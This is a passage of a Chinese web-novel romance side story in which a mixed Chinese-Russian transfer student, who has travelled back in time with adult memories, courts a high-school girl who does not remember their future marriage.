“对呀,跟咱俩一起走过来的,你跟江聿行说话哪还顾得上别人!有一说一,近距离一看,这小洋人的脸是真嫩啊……”等到晚自习的时候,新来学弟的信息已经从高一当事班级迅速传播至整个高中部。 ——中俄混血,中文名叫宋郁,是专门来这儿找学校新招那位特级语文老师学中文的,据说家里特有钱,今早送他上学的车就好几百万。 燕棠听隔壁桌的同学八卦也忍不住咂舌,家里这么有钱,应该没有烦恼吧。 她同时心里也很疑惑,这么有钱的小孩儿来南市干嘛呀,学个中文而已,特级教师也不是他们学校独一份儿。 不过这些都跟她没有关系,该有的烦恼一个没少。 燕棠忍着郁闷复盘了一遍自己不及格的地理试卷,从课桌里掏出一本高中英语语法全解和笔记本,准备学一会儿英语。 笔记本被翻到最新一页,密密麻麻的英文单词中间夹了两句俄文。 燕棠对俄语很感兴趣,平常偶尔会自学两句俄文单词。 她目光落在纸页中间那两个俄文单词上,忽然走神了一秒——虽然在体育馆的时候那学弟说的是英文,但她知道"Kirill"是俄文名字。 燕棠拿出学习机,用俄文词典搜索到了这个词——Kupunn,寓意是“属于主的”或“神圣的”。 主的使者……是天使的意思? 燕棠很快将注意力转移回英语复习上。不过她没想到自己很快就再次遇上了这位叫Kirill的学弟。 在第三节晚自习的时候已经是晚上十点。 她在晚上容易饿,恰好课桌里没存货,肚子空空无心学习,于是借口要去上厕所,溜去学校小卖部买零食。 刚绕过一条小路,燕棠远远看见有个男孩儿靠在小卖部门口一侧的墙边,好像在等什么人。走近一看,才认出是新学弟。 燕棠准备直接绕过他往里走,却没想到路过的时候,他径直走了过来,伸手拉住了她的手腕。白皙的手,掌心有薄茧,力道不小,指骨紧抵着她的皮肤。 燕棠吓了一跳,下意识抬头。 今天下午的时候,不是离得太远就是走得太过匆忙,燕棠这会儿才真正近距离看清了他的脸。这睫毛是真翘,鼻尖也是真挺,只不过唇瓣抿着,看上去很不高兴。 燕棠听他开口,忽然说了一大串俄语,声音里仿佛是很委屈的样子。 她一脸茫然。 这小洋鬼子叽里咕噜的在说什么呢? 75、IF线-转学来的新学弟... 小卖部墙壁上用红绳吊着白炽灯泡,在白色光线所及之处,如尘屑般的飞虫胡乱地飞着。 2010年的南市对宋郁而言是如此陌生,就连这所他曾来过的校园都比记忆中的更加陈旧。 明明前一晚还抱着老婆和猫儿子睡觉,第二天睁眼却发现自己在外祖父母家醒来,宋郁一度以为这是一个梦。直到他确认自己会饿会疼之后,才相信也许一些超出科学的事情发生了。 在确认现状后,他几乎立刻行动,来到南市寻找燕棠,准备给她一个惊喜。他甚至有些高兴,因为燕棠说过想看看他十五六岁的样子。 可宋郁唯独没有想到一件事——他垂下眼,借着灯光,仔细地观察面前女孩儿的神情。这是一张比他记忆中稚嫩许多的秀气脸庞。 燕棠看向他的眼神充满了陌生,也听不懂他说的俄语。此刻被他拉住了手,她的眼神里还多了几分紧张和戒备。 "……你不记得我了?"他声音艰涩。 虽然燕棠不知道究竟发生了什么误会,但面前少年失落的模样让她莫名其妙地心软。 “你是不是认错人了?”她放软了语气。 这句话是用中文说的。 刚才宋郁最后一句说的是中文,语调和用词都出奇的地道,燕棠猜他应该听得懂。 果然,他毫无障碍地理解了她的话,然后硬邦邦地吐出一句话:"我不会认错。" 宋郁认错谁也不会认错燕棠。 在一种强烈的直觉驱使下,他坚信面前这个就是燕棠本人——和他结婚的那一个,而不是什么平行时空的另一个她。 如果非要说一个理由,也许是她在完全没有记忆的情况下,第一次看向他的眼神和看向江聿行的眼神,几乎跟当年在收银台前初见时一模一样。 想到江聿行,宋郁又想起今天下午的事情。 明明是他赢了,可燕棠却跑去鼓励江聿行。那人球技那么烂,再努力也不可能接得住他的球! 回到了少年时的身体里,宋郁的心性也被严重影响,情绪明晃晃地摆在脸上。他绷着脸,长睫毛垂下,在眼下处拢出一片阴影。 五月的晚风拂过树梢,把吊在墙边的灯泡吹得左摇右晃,照得少年人的面容明明暗暗。 燕棠不知道面前的人怎么又突然不高兴了。 他握住她手腕的力道忽然变大,掌心的薄茧摩挲着她的皮肤。有些疼,又有些痒。 她后退一步,试图将手抽出,嘴上强调:“我确实不认识你,你一定是找错人了……能不能先把我的手放开?” 这时,响亮的下课铃声从播音喇叭处传出,划破寂静的黑夜。几栋安静伫立在夜色里的教学楼几乎是一瞬间变得喧闹起来,学生们从教室里蜂拥而出,朝宿舍区和小卖部这边涌来。燕棠有些着急了,连忙又说:“教导主任每天晚上都来这里抓早恋,我们这样拉拉扯扯,被看到了是会被通报批评的!”——拉拉扯扯。宋郁听到这个词儿,心里更加烦闷。不过他还是放了手。燕棠正想开溜,又听见他开口问联系方式。她认真说:"学校不允许带手机。" “但班主任能够开特例,表现好的学生只要有正当理由,就可以把手机放在宿舍里。你宿舍有手机。”对方的语气太过笃定,以至于燕棠第一反应不是否认,而是反问:“你怎么知道?!” 宋郁盯着她欲言又止,过了两秒才声音闷闷地说:"猜的。现在你承认了。" 不远处的路灯照亮了涌来小卖部的学生们,有几个跑得快的已经窜到了门口。宋郁杵在这儿相当惹眼,周围人纷纷用惊讶和八卦的目光看着他们俩。 学校里八卦传播速度快得吓人,燕棠担心惹出不必要的流言蜚语,只好先行缓兵之计,把自己的联系方式给了他,随后头也不回地往宿舍跑去。 宿舍内陈设简单,白炽灯管挂在天花板正中,右侧墙面摆放着三张分为上下铺的单人床,对面并列着六张带衣柜的书桌。 燕棠在桌边坐下,心里还琢磨着刚才怪事儿,肚子忽然饿得发出声音,这才后知后觉地想起自己忘记买吃的了。 这时忽然有人敲门。 “燕棠是在这个宿舍吗?” 宿舍阿姨在外头叫了一声,拉开一侧窗子往里一望,目光落在里面的女孩儿身上。 "有人给你送吃的。" “我?谁给我送吃的?” 燕棠打开门,从阿姨手中接过包装袋,愣愣地看着上面的标志——这是她最喜欢的那家甜品老店,离这儿隔了一个市中心,大概有四十分钟的路程。 “高一新来的那个外国小孩儿。”阿姨们自然也有自己的消息渠道,这会儿还好奇地问她:“原来你跟他认识啊?” 当然不认识。 南市本来就是个小城市,外国人的面孔都很少见,她一个常年住校的学生怎么可能认识外国小孩儿? 再说了,要是真认识,燕棠自己怎么可能不记得。 没过多久,包括王奇雨在内的舍友们回来了,大家都在讨论新来的外国转学生,说他帅得惨绝人寰,像个真人洋娃娃似的。隔壁宿舍的路过门口,听她们在讨论转学来的学弟,也兴冲冲地加入,还问有没有人知道他的fb或者ins账号。 燕棠坐在自己的位置上,没有参与讨论。面前的白色塑料碗里装着双皮奶,甜滋滋的奶香透过缝隙散至她鼻尖。 她觉得这一切实在是太奇怪了。 新学弟是刚转来的,两人毫无交集,刚才在小卖部门口,他一看见她就说俄语,发现她听不懂,又一脸委屈地说她忘记了,好像她是什么负心人似的。明明是来学中文,普通话却说得很流畅,这会儿竟然还特地给她送甜品。 种种疑点加总起来,燕棠心里生出一个离奇的猜想。——这个学弟会不会有什么脑部疾病,是来这里休养身体,顺带上个学和同龄人保持交流? 正当她这么想着,手机忽然收到一条消息。 「甜品收到了吗?刚才在小卖部打扰你了,这个甜品就当做是我的赔罪。」 这话说得很诚恳,一瞬间打消了燕棠的疑虑。她失笑一声,觉得自己刚才的猜想实在有点儿不厚道。宋郁应该是冷静下来后,终于发现自己认错了人。于是她大方地回复没关系。对面又发来一条新消息:「明天是周五,放学后我请你吃饭道歉吧。」燕棠让他不用在意,可宋郁很坚持,她只好告诉他:「我爸妈不让我晚上一个人出门。」 这个乌龙事件到此结束,人家来异国他乡,人生地不熟的,燕棠不会多做计较。 当宋郁问她之后如果有问题,可不可以来找她求助的时候,她也答应了——这纯粹就是客气而已,两个人都不是同一个年级,以后也不可能有什么交集,就算宋郁有什么困难也轮不到她来帮忙。 第二天是周五,班上同学们都无心上课,眼巴巴盼着下午五点放学回家休息。可惜临近期末考试,最后两节是连堂数学课,数学老师带着大家复习重点,生生拖堂了半个小时。 燕棠一身疲惫地背着书包走出教学楼,跟家住在附近的王奇雨在校门口说了再见,独自往公交车站走去。 今天是个艳阳天,落日挂在天边,余晖如薄纱般蒙在了来往车辆和两侧房屋上。大多数学生已经走了,沿路已经没什么人。燕棠慢吞吞走到车站,一抬头,便看见一道身影立在车站的那头。 夕阳余晖也落在他身上,柔软的浅棕色发丝泛起金灿灿的光。注意到有人来了,他微微侧过脸,眸光一转,落定在她身上。 隔着老远的距离,那目光仍然强烈。 燕棠愣了一秒。 这画面实在赏心悦目,让她的心脏忽然不受控制地跳了好几下,用力地撞击着胸腔。她感觉自己好像在什么时候被人用同样的目光注视过,可记忆里似乎并没有这一段内容。 在这时,那一头的男孩儿对她粲然一笑,稚气漂亮的眉眼也像是镀上了一层惹眼的光泽。“你也在这里搭车吗?” 燕棠没想到宋郁竟然没坐那辆天价的轿车回家。更没想到会这么巧,他们搭乘的是同一趟公交车。 车上恰好只剩下两个座位,两人并排坐在了一起,就连昨晚闹误会的时候都没靠这么近过。燕棠捏紧肩上的书包背带,低下头,视线规矩地落在自己深蓝色的校服运动裤上。公车驶过一个转弯处,身边男孩儿的身体微微朝她倾斜,随意搭着的手臂和裤料轻轻蹭过她的衣服。白皙的手腕,手背浮起的青色血管,利落的肌肉线条,少年人明显的骨骼。 燕棠的思绪忽然飘走,鬼使神差地想:他的手劲儿一定很大,也许单手就能把她抱起来。这念头一升起,她就猛地坐直了身体。 ——她为什么会生出这种想法?! 燕棠努力收回思绪,无意中转头,猛然发现宋郁一直在看着她。 “……怎么了?”她有些心虚地问。 他注视着她,“你刚才在想什么?” “我什么都没想。” “说谎。”他说。 燕棠的确不擅长说谎,最重要的是,她总觉得对方一眼就把她看透了。 “……我在想,你长这么高,力气肯定也很大。” 宋郁凝视着她脸上的表情,忽然扬起一个笑,仿佛开玩笑般说:“是啊,我可以单手把你抱起来,再空出一只手去翻找东西。”他想起了和燕棠一起去结婚旅行的日子,他们在旷野里拥抱、接吻。浓情蜜意的日子仿佛在昨天,意外就这么发生了。 宋郁眼皮一耷,心里闷得难受,目光随意转到身侧,忽然注意到燕棠脸上露出了惊愕的神情。他立刻察觉不对,眉头一皱,追问:“你不会刚才就是这么想的吧?” “我没有!”燕棠否认得太快,音量不自觉抬高。 公交车走走停停,播报着下一个停靠的站台。夕阳穿过车窗,落在她面前男孩儿的身上。 他那双剔透的眸子在光线下像是纯净的宝石,稚气青涩的眉眼里满是愣怔,像是被她突然变化的态度吓到了。 ——我不该凶他的。 这是燕棠第一个念头。 ——我怎么会对学弟产生这种奇怪想法! 她心里随即涌上浓浓的愧疚。 76、IF线-转学来的新学弟 欢迎您:7753665(77536655复制)[退出][我的晋江][充值][我的收藏][功能心愿单][去签到首页 古言 现言 纯爱 衍生 无CP+百合 完结分类 排行 全本 包月 免费 中短篇APP反馈◎书名O作者搜索 高级搜索下一章 上一章 目录 设置 公车到站停靠,乘客们挤在一起往车门走,声音嘈杂。 并排坐在一起的两位小高中生却各怀心思,都在暗自琢磨,谁也不说话。 直到车内广播提示即将抵达附中家属院站,燕棠才起身,让坐在靠走道位置的宋郁让一让。 宋郁却同时站起身来,和她一起下车后,熟门熟路地进了小区大门。 “你住在这里?”燕棠忍不住问。 宋郁点了点头,顺便把自己租住房子的楼号和房号告诉了她——非常巧的是,他就住在燕棠家的对门。 小区里的家属楼已经上了年代,六层高的房子没有电梯,走廊狭窄,一层两户。燕棠家对门的房主是她父母的同事,几年前就搬去市中心住了,房子一直在出租。 如果燕棠没记错,两个月前才换过一次租客,没想到又换了新人……那种说不上哪儿奇怪,但就是觉得不对劲的感觉再次涌上她的心头。 “你怎么租来这里?房子又旧,离学校也不算近……”燕棠迟疑地问。 “这里风水好。”宋郁说,“恰好租到了学姐家对面,也许这就是缘分。” 一个外国人跟中国人谈风水和缘分,这事情真吊诡。 燕棠又听他解释,说他爸爸是中国人,早年在香港做生意,每年都会给某省的庙里捐钱,非常信风水命数,这才半信半疑地说:“看来是我知道的太少了。”却没想宋郁停住脚步,忽然说:"也许你都知道,只是忘记了。" “……这是什么意思?” “我的意思是——”他微微侧脸,看向她,“书上说,人脑的构造非常神奇,就像计算机一样,也许有的信息早就储存在你的大脑里,只是还没被读取罢了。”刚才坐在公交车上时,宋郁忽然冒出了一个猜想。 ——有没有可能,燕棠只是因为某种原因,暂时忘记了之前的事情。 短短几次接触,她的说话语气、动作习惯……就连那在他面前藏不住事儿的样子,都和记忆中一模一样。 回到暂住的房子后,天色渐黑。宋郁进浴室洗了个澡。 尽管他尽量让自己冷静地处理现状,但这半个月来的魔幻经历仍然使他感到不安。尤其是一个人独处的时候,意识到妻子不在身边,好像灵魂都被撕走了一半,身体里空空荡荡的。 流水划过他的面颊,顺着鼻尖和脸侧往下流淌。关上花洒,推开玻璃门,走到镜子前。 镜子里映着一张稚嫩的脸。十六岁的心性,二十五岁的记忆。 宋郁直视着镜子里的自己。——他得让燕棠想起来。 * 在学校里艰苦奋斗一周,燕棠回到家时感觉自己回到了天堂。老燕在厨房里做菜,浓郁的香气逸散至客厅,比学校食堂的诱人一百遍。 “爸,你干脆别教书,去应聘我们学校食堂的厨师长算了,听说那职位工资特别高!” 厨房里的老燕哈哈一笑,说自己的厨艺只做给老婆女儿吃,等女儿以后结婚了,只有女婿能沾她的光,有这个口福。 他总是喜欢扯这些有的没的,燕棠早就习惯了。 过了一会儿,她又听老燕说:“你去叫隔壁那小孩儿来吃晚饭呗。那孩子前几天搬来的时候你不在家,他还给我们送了见面礼。那么小的年纪,一个人住在这里怪可怜的。” 燕棠架不住她爸的热情,只好去敲了隔壁的大门。 过了几秒钟,门开了。 宋郁刚洗过澡,换了身衣服,半湿的头发捋至脑后,几滴水珠顺着脸侧往下滑,隐没在锁骨处。 离得太近,燕棠嗅到了他身上带着体温的水汽,忽然走神一秒。 “有什么事吗?” 她迅速回神,“你吃过了吗?要不要来我家里吃饭?不过不知道你吃不吃得惯——” 还没等她说完,宋郁直接爽快地点头,“好啊。不过我要吹干头发,你先进来坐一下吧。” 燕棠本来想说自己回家等就行,但宋郁已经转身往洗手间走去,留着大门敞开着。她只好进门,挑了靠门处的椅子坐下,悄悄打量了一下四周。 房子的格局和她家是一样的,只不过陈设极其简单。 入口处摆着两双运动鞋,logo很熟悉,燕棠记得班上的男同学曾经讨论过这个牌子,贵的要命。桌面和墙上挂着一些男孩子的个人物品,比如运动的护腕、头戴式耳机……还有一台手机和笔记本电脑,看上去好像是新发布的iPhone 4和macbook。 质感高级的个人物品和破落的房屋格格不入,像是两个次元硬融在一起似的。 燕棠心里再一次感叹,有钱人家的小孩儿就是任性,为了风水竟然会住在这里。 大概是宋郁把“风水”“缘分”之类的词儿挂在嘴边,连燕棠自己都被绕进去了,还真觉得有些道理。 当他坐在她家的饭桌边,随口说起自己喜欢吃的中国菜有“青椒酿肉”“沙姜鸡翅”等等,而这类菜式恰好是老燕的拿手好菜时,燕棠竟然一点儿都不意外。 反倒是老燕和她妈妈稀奇得很,一个劲儿地跟宋郁聊天。 “你一个人来这里,爸爸妈妈不担心呀?”"要在这里住多久?""奇了怪了,我一眼看你就眼熟,像是看自己家孩子似的。" ………… “你中文这么好,是谁教你的啊?” 宋郁拿筷子的手一顿,下意识看向身边的女孩儿。 她的话一直不多,大多数时间在埋头吃饭,偶尔抬眼往他这儿看。 十七岁的燕棠还没那么擅长藏住心事,虽然性格安静,但眉眼间还带着小女孩儿特有的灵动。看向他时,那双漆黑的眸子亮晶晶的,藏不住其中的好奇。 这模样很可爱,和宋郁记忆中的模样重叠在一起,令他晃神了片刻。 他垂下眼,说:“我一直生活在莫斯科,之前不会说中文,是一个姐姐教的。” “那你也很厉害了。”燕棠忍不住请教,“把第二语言学这么好,有没有什么技巧?”她也希望自己能把英语说得这么好,如果俄语也能说得像母语一样流利,她做梦都可以笑出来。 宋郁看着她,认真说:“是她教得好,很耐心,告诉我学语言没有诀窍,就是多说多听多练。” “这语气有点儿熟悉,我们英语老师说过一样的话。”燕棠想起他那套缘分理论,“教你中文的不会是刘老师吧?” 宋郁沉默一秒,说:"……不是。" 一餐饭吃完,他谢过燕棠爸妈,主动帮忙收拾桌子,燕棠父母以“小孩子不用管家务”为由坚决拒绝,叫他好好休息。宋郁拗不过,只好在帮忙把盘子端回厨房后就走出来。 这套房子的陈设格局十几年来都没怎么变,电视柜两侧摆着装饰性的茶饼,墙上挂着木头雕刻的福字,就连沙发都还是那一套,他和燕棠曾经一起坐在上面看她小时候的相册。 熟悉的环境、熟悉的菜式口味、岳父岳母一如既往的热情声音,给宋郁带来踏实的安全感。 宋郁环视一周,没看见燕棠的身影,猜她应该是回卧室休息了。惯性记忆驱使他沿着走廊抵达吊着风铃的卧室门口。 风铃清脆作响,门被推开。 燕棠站在衣柜前,刚脱下吃饭时沾上油渍的上衣。 干净的衣服还拿在手里,身上只穿着一件背心式的棉质胸衣。 听见风铃声,她猛地转头,和门口的漂亮男孩子对上视线。 看见燕棠脸上露出惊恐,宋郁猛然想起现状——他现在还没资格睡在这间卧室里。 “我——”他迅速开口。 话还没说完,卧室里爆发出一声压抑音量的惊叫。下一秒,他就被迎面甩来的衣服罩住了脸。 …好香。宋郁在心里叹了口气。 "……洗手间在另一边。" 燕棠觉得这个洋人学弟可能脑子真的不太灵光,才会把她的卧室认成了洗手间。 她怀疑自己的脑子也被他传染了。 因为她第一反应竟然不是从衣柜里再拿件衣服,而是冲到宋郁面前让他把眼睛闭好,随后将罩在他脸上的衣服扯下来穿上。 燕棠用力扯了扯衣角,将那处褶皱展平,才抬眼看着面前的少年。 他老老实实闭着眼睛,长睫毛像小扇子似的落下,头发略有些凌乱,垂落在额前,还真的就一动不动地站在这里等她指令。 “你还不回去?” 宋郁微微睁开眼,见她努力装作无事发生,但视线却不断闪躲——她在害羞。 “我不是在找洗手间,就是来找你的。刚才我敲门了,好像听见你说请进。”他淡定地说。 燕棠一愣,“我没有这么说。” "那就是我听错了。" 宋郁云淡风轻的样子让燕棠也冷静下来,她问:“那你找我有什么事吗?” “没什么。”他垂眸看着她,“我是想跟你说,我准备回去了。” “……好。”燕棠愣愣地和他对视。 “晚安。” 这声音很轻,好像敲在她心头。 这一晚,燕棠在熟睡时做了个梦,梦里还有另一道高大的影子。等迷迷糊糊醒来的时候,又全都记不得了。 周六早上的晨光是最美的,不用上课、不用写作业,燕棠一身轻松地起床。掀开窗帘,无意中往楼下一瞥,恰巧看见宋郁在小区里跑步。简单的白T,及膝运动短裤,跑动时衣角扬起。灌木里窜出一只流浪猫,他停住脚步,半蹲下去抚摸它的头。似乎是感应到了她的目光,宋郁忽然抬起头,和她对上视线。随后朝她露出一个甜滋滋的笑。 燕棠忽然冒出一个念头——王奇雨说得对,这小子好像的确比江聿行帅多了。 想到这里,她猛然变了脸色,迅速拉上窗帘,在卧室里来回踱步。 不会吧。 难道她是那种见一个爱一个的人? 强烈的道德感使燕棠陷入了自我谴责。 * 当那窗帘被拉上的时候,宋郁也笑不出来了。他盯着那扇窗户的方向,想了一会儿。 ——差点儿忘了,燕棠总是需要被逼一逼才能有反应。 宋郁心里有了主意。 77、IF线-转学来的新学弟 平淡枯燥的日子里,忽然冒出来一个混血学弟,还就住在自个儿家对门。父母见对方形单影只,还总是招呼他来家里吃饭。 燕棠在家待了一个周末,琢磨出些新鲜的滋味儿来,偶尔出门倒垃圾、陪父母散步的时候,都不自觉往对门看一眼。 在校住宿生要在周日晚回校上晚自习。 说是晚自习,实际上已经被老师们征用进行周测,一连写两个小时的卷子,结束时全班苦不堪言。 燕棠虚脱般趴在课桌上,又听见几个女同学凑在一起聊八卦。 高三的学长学姐快毕业了,晚自习的时候总有低年级抓紧时间表白。还有些是关于宋郁的,几个同学凑在一起说了很久,不时爆发出点儿激动的叫声。 这个班级的氛围很微妙,有点儿搞小团体的意思,谁跟谁一起去食堂吃饭,谁跟谁下课走在一起,都是有讲究的。燕棠不爱凑热闹,跟那些爱聊八卦的同学们关系普通,平常只跟王奇雨玩得好。王奇雨倒是混得开,把打听过来的消息告诉她。 “说是有人加了他的fb,发现他是玩格斗的,还有个亲哥,也可帅了。” 燕棠有点儿好奇地问:“真的啊?有没有照片?” 王奇雨摇摇头,说是在贴吧里没看到。 学生们的网络交际集中在企鹅和学校的贴吧论坛,混血学弟一来学校,名声就传遍了校园,成了这一方狭窄天地里的红人。 然而燕棠没想到,第二天早读的时候,这位站在八卦风暴中心的红人就出现在了她的班级门口。 “叔叔阿姨让我给你带点儿吃的。” 宋郁手里拿着两个袋子,一个是装着保温盒的布袋,还有一个是礼品袋。里面装着一只棕色小熊玩偶。 南市很小,只有一个购物中心,好在这时已经可以网上购物,宋郁在周六上午迅速下单,千催万催,今早出门时恰好收到,直接带来了学校。 "我觉得你会喜欢这只小熊,顺手就买了。"他打开礼品袋,仔细观察着燕棠的表情。 附近还站着一堆看热闹的学生,神情里无一例外写满了惊讶和好奇。还有高一和高三年级的听到八卦赶过来瞧的,不时有人问那女生是谁,他俩是什么关系。虽然学校禁止早恋,但给喜欢的人递纸条、送零食和小礼物,在学校里仍然不少见。胆子小的会悄悄约在黑漆漆的操场见面,胆子大的就会直接站在班级门口找人。 燕棠十分意外,看看袋子又看看面前的少年,手无意识地捏着校服袖口,过了好一会儿才伸手接过两个袋子。 ——究竟是外国人都这么热情,还是他有别的意思?她忍不住想。 ——她究竟是想起一点儿了,还是什么都没想起来?宋郁也在琢磨。 高二年级的走廊里头一次这么热闹。 个子高挑、模样俊秀的学弟。 平常毫无存在感,仔细一看却眉清目秀的学姐。 两人凑在一起,这画面还挺唯美。 “燕棠?” 另一道清朗的声音忽然打破了气氛。 燕棠猛地转头,看到江聿行从围观群众中走出来,手中捧着一沓批改后的试卷。 “我看你一直没过来找我,直接给你送试卷过来了,刘老师说等下英语课要讲错题。”她这才想起来,刚才本来是要去找江聿行拿卷子的,被宋郁这么一打岔,这事儿直接被抛到了脑后。宋郁的视线一直落在燕棠身上,看着她熟稔地跟江聿行交谈,从他手中接过试卷,直接插嘴:“你容易饿,学累了记得吃一点儿。” 江聿行有些意外,目光在两人之间来回徘徊,最后落定在燕棠身上。她平常还会借机跟他多聊两句,这会儿却什么都没说,注意力完全移到了这个高一的混血学弟身上。这学弟说一句,她就应一句。 “那我先走了。”江聿行说。 燕棠随口应了声,反倒是宋郁转过头来,冲他意味不明地微微一笑。 上课铃响了,各班神兽们纷纷归位,暗流涌动、让人摸不着头脑的画面结束。 中午在食堂吃饭,燕棠跟王奇雨坐在一块儿。 她刚打开保温盒,隔壁桌的一个不认识的同学凑过来问:"高一的宋郁真是你的弟弟啊?" “什么乱七八糟的?!”燕棠震惊。 这位同学悄悄掏出私藏的手机,打开校园贴吧,把帖子递给她看。 拜宋郁所赐,燕棠也被拖进了八卦的漩涡中心。有好事者把今早的事情发在了贴吧上,并且细心地注意到了她收到了两类礼物,还听见了宋郁对她说的那番话。 由此,好事者得出一个结论:高二的燕同学应该是高一外国转学生的亲戚,因为她的父母很熟悉这个转学生的情况。 这样一来,宋郁转来这里的原因也有了很好的解释,有亲戚在嘛。 大家甚至分析起两个人的面相,煞有介事地说他们的眼型、脸型都有相似之处。而在盖起高楼的帖子中,也夹杂着几条质疑的评论。 其中一个Lv.1级空白头像用户问:有没有可能是夫妻相? 下面迅速有人回复:你是低年级的学妹吧?乱嗑姐弟骨小心被删帖。 燕棠目光落在这一行回复上,刚想展开评论,立刻收到提示——该条回帖不存在。果然被删了。 谣言越传越真,有人来找当事人求证,无论燕棠还是宋郁都否认了这件事。如果两人不是亲戚,那两人住得近,天天送东西,就有了另一种更暧昧的解释,很多女孩儿都会心碎。 所以大家只相信自己愿意相信的事情,真相根本没有传出去,最后连老师们都以为燕棠是宋郁的姐姐,有血缘的那种。 唯一知道且相信真相的是王奇雨。她斩钉截铁地告诉燕棠:“他肯定是喜欢你。” 还没到午休时间,其他舍友没回来,宿舍里只有她们俩坐在一起啃零食。 燕棠撕开一袋薯片,迟疑地说:“可我跟他都没有认识多久。” "对你一见钟情啊。咱们学校里那些偷偷谈恋爱的不都是看对眼就表白了嘛。"王奇雨毫不客气地一口气抓了五六片薯片塞嘴里,声音含糊地跟她分析。 “再说了,我看电视剧上都说外国人开放,别说十几岁谈恋爱了,做过那种事都很常见,也许那个学弟内心是个很狂野的人呢。” “但我听说俄罗斯人都比较严肃内敛……” “都是洋人,能有啥区别。” 燕棠捏起薯片咬了一口,咸香的滋味儿在舌尖散开,思绪飘远。 不会吧,那样的男孩儿怎么会喜欢我呢?正这么想着,心里又冒出另一道声音:也许他真的喜欢我,那天在家里,他还专门来找我说晚安。 见她不吱声,王奇雨神神秘秘地问:“你怎么想的?江聿行成过去式啦?” 燕棠深吸一口气,也学着王奇雨一口气把薯片塞满了嘴,含糊地说:“我不知道…” 于是王奇雨给她做了个测试,从外形到性格,把宋郁和江聿行对比了一遍。 黑发还是浅棕发。性格温和文静还是活泼甜美。 …… 她列了几点,又问燕棠知不知道两个人还有什么不同之处。 燕棠仔细思索片刻——宋郁喜欢吃她爸爸做的菜、喜欢穿黑白灰的运动系打扮、喜欢小猫,家里是做生意的,而江聿行…… 除了成绩好,对同学很温和有礼貌之外,她对江聿行的了解极少,连跟他的交谈都仅限于英语课作业。她好像根本不了解她的暗恋对象,这会儿想起江聿行的时候,心里也完全没有一点波澜。 燕棠眼里露出一丝迷惑,开始质疑自己这两年暗恋的真实性。 接下来的日子里,宋郁一直好心地充当快递员,每天早上给燕棠送保温盒,还附带一些小礼物。豹猫玩偶、各种颜色的真丝发圈,带小熊图标的蜂蜜饮料…… 送礼物的由头是感谢她爸妈每天让他蹭饭,可宋郁每次把礼物递给她的时候,那双眼睛总是凝视着她,包含深意。 燕棠觉得自己读懂了其中的信号。 得益于那些阴差阳错的谣言,老师们将这个举动解读为温馨的姐弟情。不过贴吧里一直有位初级用户在坚持不懈地发评论,说高二的燕同学和高一的宋同学肯定不是姐弟情。 但往往发出来不过几分钟,评论就因为被认定为传谣、故意编造同学绯闻被删除。 临近期末考试,燕棠也越来越紧张,高强度的复习令她每天都很疲倦。而每天早上收到宋郁的东西,反倒成了灰暗生活里难得的期待。 这一天,宋郁给她送东西的时候,试探性地问:“最近你有没有想起我?” 燕棠意会他话中的意思,脸色涨红,半天说不出话来,最后接过礼物迅速道谢,闪身回了教室。 这天晚上,她用上了他送的真丝发圈,将发圈束在脑后挽了个丸子头。巧的是,从宿舍出发去教学楼上晚自习的路上,她又碰见了宋郁。 他站在不远处的树下,戴着耳机,大概是在等车来接他回去。宋郁只是来学中文,在高一班级里生活也只是图个学习氛围。他平常不住校,都是车接车送,燕棠猜测那时他坐公车大概也是故意在等她。 夜色四合,路灯静谧。晚风一吹,把少年人柔软的发丝吹得略有凌乱。树叶沙沙作响,偶有蝉鸣,是夏天的气息。 宋郁也似有所感地抬头看了过来,目光落在燕棠脑后的发圈上。浅粉色的发圈缠绵地卷着乌黑的发丝,和记忆里的样子一模一样。 还有几缕碎发落在她脸颊处,松散随意,多了几分柔和恬淡的意味。 她的手里还抱着复习书和笔袋,笔袋上挂着小熊玩偶。 宋郁看得心热,猜测她有可能想起来一点儿了,不然怎么会束发的方式都和以前一样。 他走过去,站定在她面前。 燕棠站在原地一动不动,仰头跟宋郁对视。这里恰好是路灯照不到的盲区,光线都隐在了四周,朦胧的夜色给他那张漂亮的脸蒙上一层模糊的滤镜。 “你戴这条发圈很好看。”他轻声说着,声音清朗,语气轻快。 燕棠再一次听见自己的心跳声。 见她满眼认真地看着自己,宋郁又试探性地说:“你还记得我用——” 话没说完,一道刺眼的灯光忽然照过来,伴随着中年男人带着口音的呵斥。“那边是哪个班的?!” 燕棠听见教导主任的声音,浑身瞬间紧绷,想都不想就拉住了宋郁的手腕:“快跑!” 她刚转身,忽然被人从后拦腰搂住,双脚离地,就这么稳稳地被人带着往校园角落里跑。 教导主任还嚷着“站住”“被我抓到就扣你们班级分”之类的话。手电筒的灯光所及距离有限,一眨眼,两个学生的影子都不见了。 燕棠一路上都是懵的,腰间的手臂十分有力,后背贴着男孩子的胸膛,隐约能感觉到胸口肌肉起伏。心跳得更快了,脚又不沾地,整个人仿佛在漂移。 她总觉得这一幕似曾相识,一些模糊的、宛若梦境的场景像是失真的电影画面般在脑海中闪现。可还没等她细想,宋郁就停住脚步把她放下。“这里应该很安全,他往另一边找过去了。” 两人站在学校西北角一个荒废的角落里,一盏老式灯泡吊在墙面上,半死不活地亮着光。燕棠还没有跟男孩儿这么亲密地接触过,脑子里糊里糊涂的,率先磕磕绊绊地开口。 "……谢谢你送的东西,不过我之前没用过这样的发圈,不知道这样扎好不好看。"“这些东西不便宜吧?让你破费了,以后你想来我家吃饭可以随时来,我爸妈很喜欢你,也不用再送那么多东西……” 宋郁愣了。 面前的女孩儿微微低着头,睫毛一颤一颤的。光线落在她身上,照亮了略微泛红的耳尖。 他跟燕棠在一起这么多年,太熟悉她这副样子了。 很遗憾,燕棠仍然没有想起他。但她似乎……再次喜欢上他了。 宋郁有点儿失落。 可与此同时,又有一种奇怪的、别有滋味的高兴漫上心头,在这一刻甚至把那股失落彻底碾碎。 感受到心脏不受控地快速敲击胸腔,他又忍不住想:是不是他暗示的程度还不够?是不是该进一步行动,做一些他们之前常做的事情?夜晚寂静,斑驳的围墙缝中冒出横生的野草。女孩儿的黑发卷在粉色发圈里,清浅的香气直往他鼻中钻去,勾得他心痒。 “你这样很好看。”宋郁忽然开口。 他忽然抬起手伸到她脑后,指尖一勾,十分熟练地将那发圈摘下来,长发散落时抚过手背,又顺滑。 燕棠微微一怔,还没反应过来,那只手便顺势扣住了她的后颈,迫使她仰起头。 一抬眼,那张尚带稚气的漂亮脸蛋竟然离得极近。浓密的睫毛根根分明,连瞳孔那渐变的美丽色调都能让燕棠看得一清二楚。 两人相互对视着,谁也没移开眼,视线融在一起。鼻尖相对,呼吸交缠。 